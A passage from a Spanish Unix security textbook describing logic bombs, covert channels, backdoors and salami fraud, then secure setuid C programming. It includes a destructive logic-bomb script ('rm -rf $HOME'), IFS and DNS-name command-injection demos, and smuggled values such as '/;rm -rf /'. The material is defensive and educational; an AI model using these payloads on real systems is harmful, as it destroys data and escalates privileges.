Aunque en un principio no se tomó muy en serio el problema de los applets hostiles, poco tiempo después la propia Sun Microsystems reconoció la problemática asociada y se puso a trabajar para minimizar los potenciales efectos de estos applets; principalmente se han centrado esfuerzos en controlar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesarias para que los propios navegadores monitoricen los applets ejecutados. No obstante, aunque se solucionen los problemas de seguridad en el código, es probable que se puedan seguir utilizando applets como una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexiones por red, no habrán desaparecido los problemas.

Bombas lógicas

Las bombas lógicas son en cierta forma similares a los troyanos: se trata de código insertado en programas que parecen realizar cierta acción útil. Pero mientras que un troyano se ejecuta cada vez que se ejecuta el programa que lo contiene, una bomba lógica sólo se activa bajo ciertas condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el alcance de cierto número de ejecuciones del programa que contiene la bomba; así, una bomba lógica puede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin que nadie note un funcionamiento anómalo hasta que el daño producido por la bomba ya está hecho. Por ejemplo, imaginemos la misma situación que antes veíamos para el troyano: alguien con el suficiente privilegio renombra a vi como vi.old, y en el lugar del editor sitúa el siguiente código:
#!/bin/sh
if [ `date +%a` = "Sun" ]; 
    then
        rm -rf $HOME
    else
        vi.old $1
fi
Este cambio en el sistema puede permanecer durante años6.4 sin que se produzca un funcionamiento anómalo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario decida trabajar este día, la bomba lógica se va a activar y el directorio de este usuario será borrado.

Canales ocultos

Según [B$^+$88] un canal oculto es un cauce de comunicación que permite a un proceso receptor y a un emisor intercambiar información de forma que viole la política de seguridad del sistema; esencialmente se trata de un método de comunicación que no es parte del diseño original del sistema pero que puede utilizarse para transferir información a un proceso o usuario que a priori no estaría autorizado a acceder a dicha información. Los canales ocultos existen sólamente en sistemas con seguridad multinivel ([PN92]), aquellos que contienen y manejan información con diferentes niveles de sensibilidad, de forma que se permite acceder simultáneamente a varios usuarios a dicha información pero con diferentes puntos de vista de la misma, en función de sus privilegios y sus necesidades de conocimiento (needs to know). El concepto de canal oculto fué introducido en 1973, en [Lam73], y desde entonces muchos han sido los estudios realizados sobre este método de ataque, que afecta especialmente a sistemas en los que el aspecto más importante de la seguridad es la privacidad de los datos (por ejemplo, los militares).

Generalmente se suelen clasificar los canales cubiertos en función de varios aspectos ([G$^+$93]):
  • Escenario
    Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre canales cubiertos de almacenamiento y de temporización ([Lip75]). Los primeros son canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y la lectura - también directa o indirecta - de esos datos por parte de otro; generalmente utilizan un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con diferentes privilegios. Por contra, los canales ocultos de temporización utilizan la modulación de ciertos recursos, como el tiempo de CPU, para intercambiar la información entre procesos. En [G$^+$93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo de covert channel se encuentra en [McH95].
  • Ruido
    Como cualquier canal de comunicación, oculto o no, los canales cubiertos pueden ser ruidosos o inmunes al ruido; idealmente, un canal inmune al ruido es aquél en que la probabilidad de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar factores externos, no hay interferencias en la transmisión. Evidentemente, en la práctica es muy difícil conseguir estos canales tan perfectos, por lo que es habitual aplicar códigos de corrección de errores aunque éstos reduzcan el ancho de banda del canal.
  • Flujos de información
    De la misma forma que en las líneas convencionales de transmisión de datos se aplican técnicas (multiplexación en el tiempo, multiplexación en frecuencia...) para maximizar el ancho de banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que se transmiten varios flujos de información entre emisor y receptor se les denomina agregados, y dependiendo de cómo se inicialicen, lean y reseteen las variables enviadas podemos hablar de agregación serie, paralela o híbrida; los canales con un único flujo de información se llaman no agregados.
La preocupación por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas de alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados en canales cubiertos y su prevención han sido - y son - realizados por las clásicas agencias gubernamentales y militares estadounidenses (National Security Agency, US Air Force, National Computer Security Center...). No obstante, también en entornos más `normales' es posible la existencia de canales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96], [Row96]...).

El análisis y detección canales cubiertos es una tarea complicada que generalmente se basa en complejos modelos formales y matemáticos ([Wra91b], [MK94]...); diversas aproximaciones son utilizadas para el estudio de canales de temporización ([Hu91], [Wra91a]...), y también para el de canales de almacenamiento ([PK91]).

Puertas traseras

Las puertas traseras son trozos de código en un programa que permiten a quién conoce su funcionamiento saltarse los métodos usuales de autenticación para realizar cierta tarea. Habitualmente son insertados por los programadores para agilizar la tarea de probar su código durante la fase de desarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador puede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involuntariamente. Por ejemplo, imaginemos una aplicación que para realizar cualquier tarea de seguridad solicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo es muy incómodo para el programador teclear estas contraseñas antes de ver si el producto funciona correctamente, por lo que es muy común que esta persona decida incluir una rutina en el código de forma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes. Esta situación, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad si se mantiene una vez el producto está instalado en un sistema real: cualquiera que conozca la clave inicial puede saltarse todo el mecanismo de protección del programa.

Aparte de puertas traseras en los programas, es posible - y típico - situar puertas traseras en ciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a una máquina Unix desea mantener ese acceso aunque su penetración sea detectada. Por ejemplo, algo muy habitual es añadir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda seguir accediendo al sistema con ese nuevo login aunque el administrador cierre la puerta que antes había utilizado para entrar. También es clásico añadir un nuevo servicio en un puerto no utilizado, de forma que haciendo telnet a ese número de puerto se abra un shell con privilegios de root; incluso muchos atacantes utilizan la facilidad cron para chequear periódicamente estos archivos e insertar las puertas traseras de nuevo en caso de que hayan sido borradas. >Qué hacer para evitar estos ataques? La prevención pasa por comprobar periódicamente la integridad de los archivos más importantes (ficheros de contraseñas, spoolers, configuración de la red, programas del arranque de máquina...); también es conveniente rastrear la existencia de nuevos archivos setuidados que puedan `aparecer' en los sistemas de ficheros: cualquier nuevo programa de estas características suele indicar un ataque exitoso, y una puerta trasera - generalmente un shell setuidado - colocada en nuestra máquina. Los más paranoicos no deben olvidar efectuar una búsqueda bajo los dispositivos montados (existen utilidades para hacerlo), ya que un find normal no suele encontrar ficheros setuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad.

Superzapping

Este problema de seguridad deriva su nombre del programa superzap, una utilidad de los antiguos mainframes de IBM que permitía a quién lo ejecutaba pasar por alto todos los controles de seguridad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un `Rompa el cristal en caso de emergencia' que estos sistemas poseían, o de una llave maestra capaz de abrir todas las puertas. Obviamente, el problema sucede cuando la llave se pierde y un atacante la utiliza en beneficio propio.

Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por los graves problemas de seguridad que su existencia implica: imaginemos un shell setuidado como root y guardado en /tmp/, de forma que si el sistema funciona anómalamente cualquiera puede ejecutarlo para solucionar el posible problema. Parece obvio que para un atacante sería un gran avance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programas superzap como malware, ya que en principio se trata de aplicaciones legítimas, incluso necesarias en determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en sí lo que constituye una amenaza a la seguridad.

El ejemplo típico ([ISV95], [Par81]...) de problemas derivados del superzapping es un caso ocurrido en Nueva Jersey que causó la pérdida de 128.000 dólares de los años setenta. El operador de un sistema bancario estaba utilizando un programa superzap para corregir balances en el estado de las cuentas cuando un error simple le demostró lo fácil que podía modificar registros sin que el sistema de auditoría lo detectara; aprovechó esta situación para transferir dinero a tres cuentas, y dado que no dejó huellas la única forma de detectar el fraude fué la rápida reacción del banco ante la queja de un usuario - y un exhaustivo análisis del estado de todas las cuentas.

Programas salami

Las técnicas salami se utilizan para desviar pequeñas cantidades de bienes - generalmente dinero - de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami se cortan pequeñas rodajas sin que el total sufra una reducción considerable, un programa salami roba pequeñas cantidades de dinero, de forma que su acción pasa inadvertida. Aunque su efecto es especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamos a hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unix dedicados a operaciones financieras, como la gestión de nóminas de personal o la asignación de becas.

El principal problema de los programas salami es que son extremadamente difíciles de detectar, y sólo una compleja auditoría de cuentas puede sacar a la luz estos fraudes. Si un programador es lo suficientemente inteligente como para insertar malware de este tipo en los sistemas de un banco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque sería casi despreciable), seguramente conoce a la perfección todos los entresijos de dicho banco, de forma que no le será difícil desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto umbral en dichas cuentas - umbral a partir del cual el banco `se interesaría' por el propietario de la cuenta - o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contra esto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y sus allegados, así como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una persona con un sueldo normal, viajes caros, demasiadas ostentaciones...pueden ser signo de un fraude; evidentemente, es necesario consultar con un gabinete jurídico la legalidad o ilegalidad de estas acciones, que pueden constituir una invasión a la privacidad del trabajador. Por supuesto, la solución ideal sería comprobar línea a línea todo el software del banco, pero pocos auditores tienen los conocimientos - y la paciencia - suficientes para realizar esta tarea.

Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo o round down. Este fraude consiste en aprovechar cálculos de los sistemas bancarios que obtienen cantidades de dinero más pequeñas que la moneda de menor valor (en el caso de España, cantidades de céntimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un interés del 2'5%; los créditos le reditarán un total de 3088'075 pesetas, que automáticamente para el banco se transformarán en 3088. Si esos 7'5 céntimos se acumulan en otro cálculo con cantidades igual de despreciables, se llegará tarde o temprano a un punto en el que la cantidad total de dinero sea lo suficientemente apetecible para un atacante dispuesto a aprovechar la situación. Si pensamos que millones de estos cálculos se realizan diariamente en todos los bancos de España, podemos hacernos una idea del poco tiempo que tardará la cuenta de un pirata en llenarse.


Programación segura

Parece obvio que después de analizar los problemas que un código malicioso o simplemente mal diseñado puede causar, dediquemos un apartado a comentar brevemente algunos aspectos a tener en cuenta a la hora de crear programas seguros. Vamos a hablar de programación en C, obviamente por ser el lenguaje más utilizado en Unix; para aquellos interesados en la seguridad de otros lenguajes que también se utilizan en entornos Unix, existen numerosos artículos que hablan de la programación segura - e insegura - en lenguajes que van desde Java ([MS98], [DFW96], [Gal96b]...) a SQL ([PB93]).

El principal problema de la programación en Unix lo constituyen los programas setuidados; si un programa sin este bit activo tiene un fallo, lo normal es que ese fallo solamente afecte a quien lo ejecuta. Al tratarse de un error de programación, algo no intencionado, su primera consecuencia será el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando el programa está setuidado: en este caso, el error puede comprometer tanto a quien lo ejecuta como a su propietario, y como ese propietario es por norma general el root automáticamente se compromete a todo el sistema. Para la codificación segura de este tipo de programas, [Bis86] proporciona unas líneas básicas:
  • Máximas restricciones a la hora de elegir el UID y el GID.
    Una medida de seguridad básica que todo administrador de sistemas Unix ha de seguir es realizar todas las tareas con el mínimo privilegio que estas requieran ([Sim90]); así, a nadie se le ocurre (o se le debería ocurrir) conectar a IRC o aprender a manejar una aplicación genérica bajo la identidad de root. Esto es directamente aplicable a la hora de programar: cuando se crea un programa setuidado (o setgidado) se le ha de asignar tanto el UID como el GID menos peligroso para el sistema. Por ejemplo, si un programa servidor se limita a mostrar un mensaje en pantalla y además escucha en un puerto por encima de 1024, no necesita para nada estar setuidado a nombre de root (realmente, es poco probable que ni siquiera necesite estar setuidado); si pensamos en un posible error en dicho programa que permita a un atacante obtener un shell vemos claramente que cuanto menos privilegio tenga el proceso, menos malas serán las posibles consecuencias de tal error.
  • Reset de los UIDs y GIDs efectivos antes de llamar a exec().
    Uno de los grandes problemas de los programas setuidados es la ejecución de otros programas de manera inesperada; por ejemplo, si el usuario introduce ciertos datos desde teclado, datos que se han de pasar como argumento a otra aplicación, nada nos asegura a priori que esos datos sean correctos o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos antes de invocar a exec(), de forma que cualquier ejecución inesperada se realice con el mínimo privilegio necesario; esto también es aplicable a funciones que indirectamente realicen el exec(), como system() o popen().
  • Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente necesarios, antes de llamar a exec().
    Los descriptores de ficheros son un parámetro que los procesos Unix heredan de sus padres; de esta forma, si un programa setuidado está leyendo un archivo, cualquier proceso hijo tendrá acceso a ese archivo a no ser que explícitamente se cierre su descriptor antes de ejecutar el exec().

    La forma más fácil de prevenir este problema es activando un flag que indique al sistema que ha de cerrar cierto descriptor cada vez que se invoque a exec(); esto se consigue mediante las llamadas fcntl() e ioctl().
  • Hay que asegurarse de que chroot() realmente restringe.
    Los enlaces duros entre directorios son algo que el núcleo de muchos sistemas Unix no permiten debido a que genera bucles en el sistema de ficheros, algo que crea problemas a determinadas aplicaciones; por ejemplo, Linux no permite crear estos enlaces, pero Solaris o Minix sí. En estos últimos, en los clones de Unix que permiten hard links entre directorios, la llamada chroot() puede perder su funcionalidad: estos enlaces pueden seguirse aunque no se limiten al entorno con el directorio raíz restringido. Es necesario asegurarse de que no hay directorios enlazados a ninguno de los contenidos en el entorno chroot() (podemos verlo con la opción `-l' de la orden ls, que muestra el número de enlaces de cada archivo).
  • Comprobaciones del entorno en que se ejecutará el programa.
    En Unix todo proceso hereda una serie de variables de sus progenitores, como el umask, los descriptores de ficheros, o ciertas variables de entorno ($PATH, $IFS...); para una ejecución segura, es necesario controlar todos y cada uno de estos elementos que afectan al entorno de un proceso. Especialmente críticas son las funciones que dependen del shell para ejecutar un programa, como system() o execvp(): en estos casos es muy difícil asegurar que el shell va a ejecutar la tarea prevista y no otra. Por ejemplo, imaginemos el siguiente código:
    #include <stdlib.h>
    
    main(){
      system("ls");
    }
    
    A primera vista, este programa se va a limitar a mostrar un listado del directorio actual; no obstante, si un usuario modifica su $PATH de forma que el directorio `.' ocupe el primer lugar, se ejecutará ./ls en lugar de /bin/ls. Si el programa ./ls fuera una copia del shell, y el código anterior estuviera setuidado por el root, cualquier usuario podría obtener privilegios de administrador.

    Quizás alguien puede pensar que el problema se soluciona si se indica la ruta completa (/bin/ls) en lugar de únicamente el nombre del ejecutable; evidentemente, esto arreglaría el fallo anterior, pero seguirían siendo factibles multitud de ataques contra el programa. Desde la modificación del $IFS (como veremos más adelante) hasta la ejecución en entornos restringidos, existen muchísimas técnicas que hacen muy difícil que un programa con estas características pueda ser considerado seguro.
  • Nunca setuidar shellscripts.
    Aunque en muchos sistemas Unix la activación del bit setuid en shellscripts no tiene ningún efecto, muchos otros aún permiten que los usuarios - especialmente el root - creen procesos interpretados y setuidados. La potencia de los intérpretes de órdenes de Unix hace casi imposible controlar que estos programas no realicen acciones no deseadas, violando la seguridad del sistema, por lo que bajo ningún concepto se ha de utilizar un proceso por lotes para realizar acciones privilegiadas de forma setuidada.
  • No utilizar creat() para bloquear.
    Una forma de crear un fichero de bloqueo es invocar a creat() con un modo que no permita la escritura del archivo (habitualmente el 000), de forma que si otro usuario tratara de hacer lo mismo, su llamada a creat() fallaría. Esta aproximación, que a primera vista parece completamente válida, no lo es tanto si la analizamos con detalle: en cualquier sistema Unix, la protección que proporcionan los permisos de un fichero sólo es aplicable si quien trata de acceder a él no es el root. Si esto es así, es decir, si el UID efectivo del usuario que está accediendo al archivo es 0, los permisos son ignorados completamente y el acceso está permitido; de esta forma, el root puede sobreescribir archivos sin que le importen sus bits rwx, lo que implica que si uno de los procesos que compiten por el recurso bloqueado está setuidado a nombre del administrador, el esquema de bloqueo anterior se viene abajo.

    Para poder bloquear recursos en un programa setuidado se utiliza la llamada link(), ya que si se intenta crear un enlace a un fichero que ya existe link() falla aunque el proceso que lo invoque sea propiedad del root (y aunque el fichero sobre el que se realice no le pertenezca).También es posible utilizar la llamada al sistema flock() de algunos Unices, aunque es menos recomendable por motivos de portabilidad entre clones.
  • Capturar todas las señales.
    Un problema que puede comprometer la seguridad del sistema Unix es el volcado de la imagen en memoria de un proceso cuando éste recibe ciertas señales (el clásico core dump). Esto puede provocar el volcado de información sensible que el programa estaba leyendo: por ejemplo, en versiones del programa login de algunos Unices antiguos, se podía leer parte de /etc/shadow enviando al proceso la señal SIGTERM y consultando el fichero de volcado.

    No obstante, este problema no resulta tan grave como otro también relacionado con los core dump: cuando un programa setuidado vuelca su imagen el fichero resultante tiene el mismo UID que el UID real del proceso. Esto puede permitir a un usuario obtener un fichero con permiso de escritura para todo el mundo pero que pertenezca a otro usuario (por ejemplo, el root): evidentemente esto es muy perjudicial, por lo que parece claro que en un programa setuidado necesitamos capturar todas las señales que Unix nos permita (recordemos que SIGKILL no puede capturarse ni ignorarse, por norma general).
  • Hay que asegurarse de que las verificaciones realmente verifican.
    Otra norma básica a la hora de escribir aplicaciones setuidadas es la desconfianza de cualquier elemento externo al programa; hemos de verificar siempre que las entradas (teclado, ficheros...) son correctas, ya no en su formato sino más bien en su origen: >de quién proviene un archivo del que nuestro programa lee sus datos, de una fuente fiable o de un atacante que por cualquier método - no nos importa cuál - ha conseguido reemplazar ese archivo por otro que él ha creado?
  • Cuidado con las recuperaciones y detecciones de errores.
    Ante cualquier situación inesperada - y por lo general, poco habitual, incluso forzada por un atacante - un programa setuidado debe detenerse sin más; nada de intentar recuperarse del error: detenerse sin más. Esto, que quizás rompe muchos de los esquemas clásicos sobre programación robusta, tiene una explicación sencilla: cuando un programa detecta una situación inesperada, a menudo el programador asume condiciones sobre el error (o sobre su causa) que no tienen por qué cumplirse, lo que suele desembocar en un problema más grave que la propia situación inesperada. Para cada posible problema que un programa encuentre (entradas muy largas, caracteres erróneos o de control, formatos de datos erróneos...) es necesario que el programador se plantee qué es lo que su código debe hacer, y ante la mínima duda detener el programa.
  • Cuidado con las operaciones de entrada/salida.
    La entrada/salida entre el proceso y el resto del sistema constituye otro de los problemas comunes en programas setuidados, especialmente a la hora de trabajar con ficheros; las condiciones de carrera aquí son algo demasiado frecuente: el ejemplo clásico se produce cuando un programa setuidado ha de escribir en un archivo propiedad del usuario que ejecuta el programa (no de su propietario). En esta situación lo habitual es que el proceso cree el fichero, realize sobre él un chown() al rUID y al rGID del proceso (es decir, a los identificadores de quién está ejecutando el programa), y posteriormente escriba en el archivo; el esqueleto del código sería el siguiente:
    fd=open("fichero",O_CREAT);
    fchown(fd,getuid(),getgid());
    write(fd,buff,strlen(buff));
    
    Pero, >qué sucede si el programa se interrumpe tras realizar el open() pero antes de invocar a fchown(), y además el umask del usuario es 0? El proceso habrá dejado un archivo que pertenece al propietario del programa (generalmente el root) y que tiene permiso de escritura para todo el mundo. La forma más efectiva de solucionar el problema consiste en que el proceso engendre un hijo mediante fork(), hijo que asignará a sus eUID y eGID los valores de su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de su propietario). El padre podrá enviar datos a su hijo mediante pipe(), datos que el hijo escribirá en el fichero correspondiente: así el fichero en ningún momento tendrá por qué pertenecer al usuario propietario del programa, con lo que evitamos la condición de carrera expuesta anteriormente.
Sin embargo, un correcto estilo de programación no siempre es la solución a los problemas de seguridad del código; existen llamadas a sistema o funciones de librería que son un clásico a la hora de hablar de bugs en nuestro software. Como norma, tras cualquier llamada se ha de comprobar su valor de retorno y manejar los posibles errores que tenga asociados ([Sho00]), con la evidente excepción de las llamadas que están diseñadas para sobreescribir el espacio de memoria de un proceso (la familia exec() por ejemplo) o las que hacen que el programa finalice (típicamente, exit()) . Algunas de las llamadas consideradas más peligrosas (bien porque no realizan las comprobaciones necesarias, bien porque pueden recibir datos del usuario) son las siguientes6.5:
  • system(): Esta es la llamada que cualquier programa setuidado debe evitar a toda costa. Si aparece en un código destinado a ejecutarse con privilegios, significa casi con toda certeza un grave problema de seguridad; en algunas ocasiones su peligrosidad es obvia (por ejemplo si leemos datos tecleados por el usuario y a continuación hacemos un system() de esos datos, ese usuario no tendría más que teclear /bin/bash para conseguir los privilegios del propietario del programa), pero en otras no lo es tanto: imaginemos un código que invoque a system() de una forma similar a la siguiente:
    #include <stdio.h>
    #include <stdlib.h>
    
    main(){
    system("/bin/ls");
    }
    
    El programa anterior se limitaría a realizar un listado del directorio desde el que lo ejecutemos. Al menos en teoría, ya que podemos comprobar que no es difícil `engañar' a system(): no tenemos más que modificar la variable de entorno $IFS (Internal Field Separator) del shell desde el que ejecutemos el programa para conseguir que este código ejecute realmente lo que nosotros le indiquemos. Esta variable delimita las palabras (o símbolos) en una línea de órdenes, y por defecto suele estar inicializada a Espacio, Tabulador, y Nueva Línea (los separadores habituales de palabras); pero, >qué sucede si le indicamos al shell que el nuevo carácter separador va a ser la barra, `/'?. Muy sencillo: ejecutar `/bin/ls' será equivalente a ejecutar `bin ls', es decir, una posible orden denominada `bin' que recibe como parámetro `ls'. Por ejemplo, bajo SunOS - bajo la mayoría de Unices -, y utilizando sh (no bash) podemos hacer que `bin' sea un programa de nuestra elección, como `id':
    $ cp /bin/id bin
    $ ejemplo 
    bin  ejemplo.c  ejemplo
    $ IFS=/
    $ export IFS
    $ ejemplo
    uid=672(toni) gid=10(staff)
    $
    
    Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar de `id' hubiéramos escogido un intérprete de órdenes, como `bash' o `sh', habríamos ejecutado ese shell. Y si el programa anterior estuviera setudiado, ese shell se habría ejecutado con los privilegios del propietario del archivo (si imaginamos que fuera root, podemos hacernos una idea de las implicaciones de seguridad que esto representa).
  • exec(), popen(): Similares a la anterior; es preferible utilizar execv() o execl(), pero si han de recibir parámetros del usuario sigue siendo necesaria una estricta comprobación de los mismos.
  • setuid(), setgid()...: Los programas de usuario no deberían utilizar estas llamadas, ya que no han de tener privilegios innecesarios.
  • strcpy(), strcat(), sprintf(), vsprintf()...: Estas funciones no comprueban la longitud de las cadenas con las que trabajan, por lo que son una gran fuente de buffer overflows. Se han de sustituir por llamadas equivalentes que sí realicen comprobación de límites (strncpy(), strncat()...) y, si no es posible, realizar dichas comprobaciones manualmente.
  • getenv(): Otra excelente fuente de desbordamientos de buffer; además, el uso que hagamos de la información leída puede ser peligroso, ya que recordemos que es el usuario el que generalmente puede modificar el valor de las variables de entorno. Por ejemplo, >qué sucedería si ejecutamos desde un programa una orden como `cd $HOME', y resulta que esta variable de entorno no corresponde a un nombre de directorio sino que es de la forma `/;rm -rf /'? Si algo parecido se hace desde un programa que se ejecute con privilegios en el sistema, podemos imaginarnos las consecuencias...
  • gets(), scanf(), fscanf(), getpass(), realpath(), getopt()...: Estas funciones no realizan las comprobaciones adecuadas de los datos introducidos, por lo que pueden desbordar en algunos casos el buffer destino o un buffer estático interno al sistema. Es preferible el uso de read() o fgets() siempre que sea posible (incluso para leer una contraseña, haciendo por supuesto que no se escriba en pantalla), y si no lo es al menos realizar manualmente comprobaciones de longitud de los datos leídos.
  • gethostbyname(), gethostbyaddr(): Seguramente ver las amenazas que provienen del uso de estas llamadas no es tan inmediato como ver las del resto; generalmente hablamos de desbordamiento de buffers, de comprobaciones de límites de datos introducidos por el usuario...pero no nos paramos a pensar en datos que un atacante no introduce directamente desde teclado o desde un archivo, pero cuyo valor puede forzar incluso desde sistemas que ni siquiera son el nuestro. Por ejemplo, todos tendemos a asumir como ciertas las informaciones que un servidor DNS - más o menos fiables, por ejemplo alguno de nuestra propia organización - nos brinda. Imaginemos un programa como el siguiente (se han omitido las comprobaciones de errores habituales por cuestiones de claridad):
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    
    int main(int argc, char **argv){
    struct in_addr *dir=(struct in_addr *)malloc(sizeof(struct in_addr));
    struct hostent *maquina=(struct hostent *)malloc(sizeof(struct \
            hostent));
    char *orden=(char *)malloc(30);
    dir->s_addr=inet_addr(*++argv);
    maquina=gethostbyaddr((char *)dir,sizeof(struct in_addr),AF_INET);
    sprintf(orden,"finger @%s\n",maquina->h_name);
    system(orden);
    return(0);
    }
    
    Este código recibe como argumento una dirección IP, obtiene su nombre vía /etc/hosts o DNS,y ejecuta un finger sobre dicho nombre; aparte de otros posibles problemas de seguridad (por ejemplo, >seríamos capaces de procesar cualquier información que devuelva el finger?, >qué sucede con la llamada a system()?), nada extraño ha de suceder si el nombre de máquina devuelto al programa es `normal':
    luisa:~/tmp$ ./ejemplo 192.168.0.1
    [rosita]
    No one logged on.
    luisa:~/tmp$
    
    Pero, >qué pasaría si en lugar de devolver un nombre `normal' (como `rosita') se devuelve un nombre algo más elaborado, como `rosita;ls'? Podemos verlo:
    luisa:~/tmp$ ./ejemplo 192.168.0.1
    [rosita;ls]
    No one logged on.
    ejemplo  ejemplo.c
    luisa:~/tmp$
    
    Exactamente: se ha ejecutado la orden `finger @rosita;ls' (esto es, un `finger' a la máquina seguido de un `ls'). Podemos imaginar los efectos que tendría el uso de este programa si sustituimos el inocente `ls' por un `rm -rf $HOME'. Un atacante que consiga controlar un servidor DNS (algo no muy complicado) podría inyectarnos datos maliciosos en nuestra máquina sin ningún problema. Para evitar esta situación debemos hacer una doble búsqueda inversa y además no hacer ninguna suposición sobre la corrección o el formato de los datos recibidos; en nuestro código debemos insertar las comprobaciones necesarias para asegurarnos de que la información que recibimos no nos va a causar problemas.
  • syslog(): Hemos de tener la precaución de utilizar una versión de esta función de librería que compruebe la longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un cierto límite (generalmente, 1024 bytes) podemos causar un desbordamiento en los buffers de nuestro sistema de log, dejándolo inutilizable.
  • realloc(): Ningún programa - privilegiado o no - que maneje datos sensibles (por ejemplo, contraseñas, correo electrónico...y especialmente aplicaciones criptográficas) debe utilizar esta llamada; realloc() se suele utilizar para aumentar dinámicamente la cantidad de memoria reservada para un puntero. Lo habitual es que la nueva zona de memoria sea contigua a la que ya estaba reservada, pero si esto no es posible realloc() copia la zona antigua a una nueva ubicación donde pueda añadirle el espacio especificado. >Cuál es el problema? La zona de memoria antigua se libera (perdemos el puntero a ella) pero no se pone a cero, con lo que sus contenidos permanecen inalterados hasta que un nuevo proceso reserva esa zona; accediendo a bajo nivel a la memoria (por ejemplo, leyendo /proc/kcore o /dev/kmem) sería posible para un atacante tener acceso a esa información.
    Realmente, malloc() tampoco pone a cero la memoria reservada, por lo que a primera vista puede parecer que cualquier proceso de usuario (no un acceso a bajo nivel, sino un simple malloc() en un programa) podría permitir la lectura del antiguo contenido de la zona de memoria reservada. Esto es falso si se trata de nueva memoria que el núcleo reserva para el proceso invocador: en ese caso, la memoria es limpiada por el propio kernel del operativo, que invoca a kmalloc() (en el caso de Linux, en otros Unices el nombre puede variar aunque la idea sea la misma) para hacer la reserva. Lo que sí es posible es que si liberamos una zona de memoria (por ejemplo con free()) y a continuación la volvemos a reservar, en el mismo proceso, podamos acceder a su contenido: esa zona no es `nueva' (es decir, el núcleo no la ha reservado de nuevo), sino que ya pertenecía al proceso. De cualquier forma, si vamos a liberar una zona en la que está almacenada información sensible, lo mejor en cualquier caso es ponerla a cero manualmente, por ejemplo mediante bzero() o memset().
  • open(): El sistema de ficheros puede modificarse durante la ejecución de un programa de formas que en ocasiones ni siquiera imaginamos; por ejemplo, en Unix se ha de evitar escribir siguiendo enlaces de archivos inesperados (un archivo que cambia entre una llamada a lstat() para comprobar si existe y una llamada a open() para abrirlo en caso positivo, como hemos visto antes). No obstante, no hay ninguna forma de realizar esta operación atómicamente sin llegar a mecanismos de entrada/salida de muy bajo nivel; Peter Gutmann propone el siguiente código para asegurarnos de que estamos realizando un open() sobre el archivo que realmente queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar:
    struct stat lstatInfo;
    char *mode="rb+";
    int fd;
    
    if(lstat(fileName,&lstatInfo)==-1)
        {
        if(errno!=ENOENT) return( -1 );
        if((fd=open(fileName,O_CREAT|O_EXCL|O_RDWR,0600))==-1) return(-1);
        mode="wb";
        }
    else
        {
        struct stat fstatInfo;
        if((fd=open(fileName,O_RDWR))==-1) return(-1);
        if(fstat(fd,&fstatInfo)==-1 || \
           lstatInfo.st_mode!=fstatInfo.st_mode || \
           lstatInfo.st_ino!=fstatInfo.st_ino || \
           lstatInfo.st_dev!=fstatInfo.st_dev)
           {
           close(fd);
           return(-1);
           }
        if(fstatInfo.st_nlink>1||!S_ISREG(lstatInfo.st_mode))
           {
           close(fd);
           return(-1);
           }
    #ifdef NO_FTRUNCATE
        close(fd);
        if((fd=open(fileName,O_CREAT|O_TRUNC|O_RDWR))==-1) return( -1 );
        mode="wb";
    #else
        ftruncate(fd,0);
    #endif /* NO_FTRUNCATE */
        }
    stream->filePtr=fdopen(fd,mode);
    if(stream->filePtr==NULL)
        {
        close(fd);
        unlink(fileName);
        return(-1);  /* Internal error, should never happen */
        }
    }
    
    Como podemos ver, algo tan elemental como una llamada a open() se ha convertido en todo el código anterior si queremos garantizar unas mínimas medidas de seguridad; esto nos puede dar una idea de hasta que punto la programación `segura' puede complicarse. No obstante, en muchas ocasiones es preferible toda la complicación y parafernalia anteriores para realizar un simple open() a que esa llamada se convierta en un fallo de seguridad en nuestro sistema. No hay ningún programa que se pueda considerar perfecto o libre de errores (como se cita en el capítulo 23 de [GS96], una rutina de una librería puede tener un fallo...o un rayo gamma puede alterar un bit de memoria para hacer que nuestro programa se comporte de forma inesperada), pero cualquier medida que nos ayude a minimizar las posibilidades de problemas es siempre positiva.

next up previous contents
Siguiente: Auditoría del sistema Subir: Seguridad del sistema Anterior: El sistema de ficheros   Índice General
